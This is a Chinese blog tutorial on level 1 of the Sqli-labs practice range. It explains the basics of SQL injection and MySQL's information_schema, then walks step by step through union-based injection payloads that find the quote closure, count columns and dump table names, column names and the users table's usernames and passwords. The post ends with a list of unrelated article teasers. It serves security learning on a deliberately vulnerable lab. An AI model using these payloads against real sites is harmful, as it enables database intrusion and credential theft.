Sql-labs的第一关

前言

我们在使用Sql-libs靶场进行Sql注入实验的时候,前提要求我们对mysql数据库结构要有一个大概的了解,因为mysql5.0以上的版本都会自带一个名为information_schema的数据库,这个数据库下面会有columns和tables两个表。
tables这个表的table_name字段下面包含了所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库,了解了这些后会对我们进行Sql注入的时候有很大的帮助。

一、Sql注入的原理是什么?

用户在访问web界面的时候,web程序对用户所输入的数据的合法性没有进行判断或者过滤不严格,攻击者可以利用这个漏洞,在web程序中将事先定义好的查询语句的结尾上插入额外的Sql语句,在管理员不知情的情况下实现非法操作,以此来欺骗数据库并查询自己所需要的信息,比如:用户的密码和账号等

二、Sql的注入过程

在这里插入图片描述

1.Sql-lis第一关

判断是否存在sql注入?

1.提示我们输入id,输入?id=1,在数据库中查询到如下字段
在这里插入图片描述
2.通过输入的id的值不同,我们发现返回的内容会不同
在这里插入图片描述
3.判断注入的类型,是否为拼接,并且是字符型还是符号型
我们可以输入?id=1\,通过加 \ 的方式判断闭合,\后面的符号就是闭合符号,见页面出现错误,即位字符型
在这里插入图片描述
输入?id=1‘ 报错
在这里插入图片描述
在上述字段后加入–+,显示正常,说明是单引号 ’ 闭合
在这里插入图片描述
4.判断字段数
输入’ order by 3 --+,可见正常
输入’ order by 4–+ 报错,说明只有三个字段
在这里插入图片描述
在这里插入图片描述
5.联合查询7
因为字段数为3,所以使用 union select 1,2,3进行查询 ,判断回显点
在这里插入图片描述
我们可以将上述语句的2或者3改成database()来显示数据库名
在这里插入图片描述
6.联表查询,爆表名

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

在这里插入图片描述
7.爆字段名

union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

在这里插入图片描述
8.爆字段中的内容
根据上一步爆出的字段名usernmae,password进行查询即可

union select 1,2,group_concat(username,password) from users

在这里插入图片描述
至此第一关就结束了,第二关与第一关的步骤相同,不同的是第二关是数字型注入

总结

	Sql注入要求我们对数据库的结构要有一个大概的了解,这要就能更容易去操作!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/690481.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

异步复位和同步释放

文章目录 前言一、为什么需要复位呢?二、同步复位1. 同步复位定义2. 同步复位的实现3. 同步复位的优点和缺点同步复位优点同步复位缺点 三、异步复位1. 异步复位定义2. 异步复位的实现3. 异步复位的优点和缺点异步复位优点异步复位缺点 四、异步复位同步释放1. reco…

Type-C转音频(C/3.5mm接口USB2.0数据传输)带PD充电低成本解决方案

LDR6500:领先市场的USB-C DRP接口USB PD通信芯片 产品介绍 LDR6500,由乐得瑞科技精心研发,是一款针对USB Type-C标准中Bridge设备而优化的USB-C DRP(Dual Role Port,双角色端口)接口USB PD(Po…

Questflow借助MongoDB Atlas以AI重新定义未来工作方式

MongoDB客户案例导读 Questflow借助MongoDB Atlas赋能AI员工,助力中小型初创企业自动化工作流程,简化数据分析,提升客户体验,推动AI与员工的协作,重新定义未来工作方式。 协作式AI自动化平台 无需编码即可拥有自己的…

[word] word表格如何设置外框线和内框线 #媒体#笔记

word表格如何设置外框线和内框线 点击表格的左上角按钮从而选中表格 点击边框按钮边上的下拉箭头,选择边框和底纹 点击颜色边上的下拉箭头,选择红色 点击取消掉中间的边框,只保留外围边框 点击颜色边上的下拉箭头,选择另外一个颜…

使用2个手机文件恢复工具,轻松找回文件

在这个智能手机横行的时代,手机已经成为我们生活中不可或缺的一部分。然而,就像生活中的一切事物一样,手机也有可能出现意外,比如文件丢失。这就像是你在超市购物,结果发现钱包不见了,那种感觉真是让人抓狂…

【Linux】信号(二)

上一章节我们进行了信号产生的讲解。 本节将围绕信号保存展开,并会将处理部分开一个头。 目录 信号保存:信号的一些概念:关于信号保存的接口:sigset_t的解释:对应的操作接口:sigprocmask:sigp…

【Git】Git 的基本操作 -- 详解

一、创建 Git 本地仓库 要提前说的是,仓库是进行版本控制的一个文件目录。我们要想对文件进行版本控制,就必须先创建一个仓库出来。 创建⼀个 Git 本地仓库对应的命令为 git init ,注意命令要在文件目录下执行,例如:…

力扣hot100:155. 最小栈(栈,辅助栈存储相关信息)

LeetCode:155. 最小栈 1、尝试单调栈 看到这题说,要常数时间内检索最小元素的栈,想到了单调栈,递增单调栈确实能维护最小值,但是这个最小值是存在一定意义的,即如果后面出现了最小值,那么前面…

MineAdmin 前端打包后,访问速度慢原因及优化

前言:打包mineadmin-vue前端后,访问速度很慢,打开控制台,发现有一个index-xxx.js文件达7M,加载时间太长; 优化: 一:使用文件压缩(gzip压缩) 1、安装compre…

Elastic Search (ES)Java 入门实操(1)下载安装、概念

实现数据查询代码:Elastic Search(ES)Java 入门实操(2)搜索代码-CSDN博客 Elastic Search(ES)Java 入门实操(3)数据同步-CSDN博客 Elastic Search 官方描述&#xff0c…

Web前端指南

前言 前端开发员主要负责网站的设计、外观和感觉。他们设计引人入胜的在线用户体验,激发用户兴趣,鼓励用户重复访问。他们与设计师密切合作,使网站美观、实用、快捷。 如果您喜欢创造性思维、打造更好的体验并对视觉设计感兴趣,这将是您的理想职业道路。 探讨前端、后端以…

python数据分析-心脏衰竭分析与预测

研究背景 人的心脏有四个瓣膜,主动脉银、二尖、肺动脉和三尖源 不管是那一个膜发生了病变,都会导致心脏内的血流受到影响,这就是通常所说的心脏期膜病,很多是需要通过手术的方式进行改善的。随着人口老龄化的加剧,,心…

Centos7 安装配置SFTP

Centos7安装配置SFTP 更新源安装 OpenSSH 服务启动服务设置为开机自启动新建一个用户 (sftpuser为你要设置的用户的用户名)编辑配置文件设置sftp用户的根目录重启SSH服务代码实现 由于最近工作中需要实现动态上传文件到帆软服务器,但是帆软没有提供相关API&#xff…

SAP 服务提供者 (Services Provider)接口测试笔记

文章目录 SAP 服务提供者 (Services Provider)接口测试笔记设置Content-Type授权SAP接口测试-SoapUI参数配置 SAP 服务提供者 (Services Provider)接口测试笔记 现在我在SAP里面公布了一些查询接口,现在就是要用SoapU…

JVM面试基本问题整理

文章目录 1、说下对JVM内存模型的理解2、运行时常量池的位置3、常量池和运行时常量池的区别4、内存溢出和内存泄漏5、Java 对象大小计算6、GCROOT都有什么7、常用的JVM启动参数有哪些8、TLAB 1、说下对JVM内存模型的理解 1)线程私有区域 程序计数器(Pro…

转让无区域商业管理公司挺批行业包变更

无区域的名称我们可以直接进行名称的申请核准。 从新规施行之后,国家局核名批准难度更高。新申请的无区域名称已经停批了,进行核名将更难,而需要满足一定条件并在成立一年后才能变更升级名称。而这个过程并非易事,难度非常高。可以…

微信小程序 画布canvas

属性说明 属性类型默认值必填说明最低版本typestring否指定 canvas 类型,支持 2d (2.9.0) 和 webgl (2.7.0)2.7.0canvas-idstring否canvas 组件的唯一标识符,若指定了 type 则无需再指定该属性1.0.0disable-scrollbooleanfalse否当在 canvas 中移动时且…

第二十讲:文件操作

第二十讲:文件操作 1.什么是文件1.1什么是文件1.1.1程序文件1.1.2数据文件 1.2二进制文件和文本文件数据的存储方式 2.流和标准流2.1流2.2标准流 3.文件指针4.文件的打开与关闭5.文件顺序读写5.1顺序读写函数介绍5.2打开和关闭函数5.2.1fopen函数5.2.2fclose函数 5.…

U盘文件系统结构损坏的应对与预防

在数字化时代,U盘作为便携式存储设备,其重要性不言而喻。然而,当U盘文件系统结构损坏时,我们可能会面临数据丢失的风险。本文将深入探讨U盘文件系统结构损坏的问题,分析其产生的原因,并给出相应的数据恢复方…

零基础入门学用Arduino 第一部分(三)

重要的内容写在前面: 该系列是以up主太极创客的零基础入门学用Arduino教程为基础制作的学习笔记。个人把这个教程学完之后,整体感觉是很好的,如果有条件的可以先学习一些相关课程,学起来会更加轻松,相关课程有数字电路…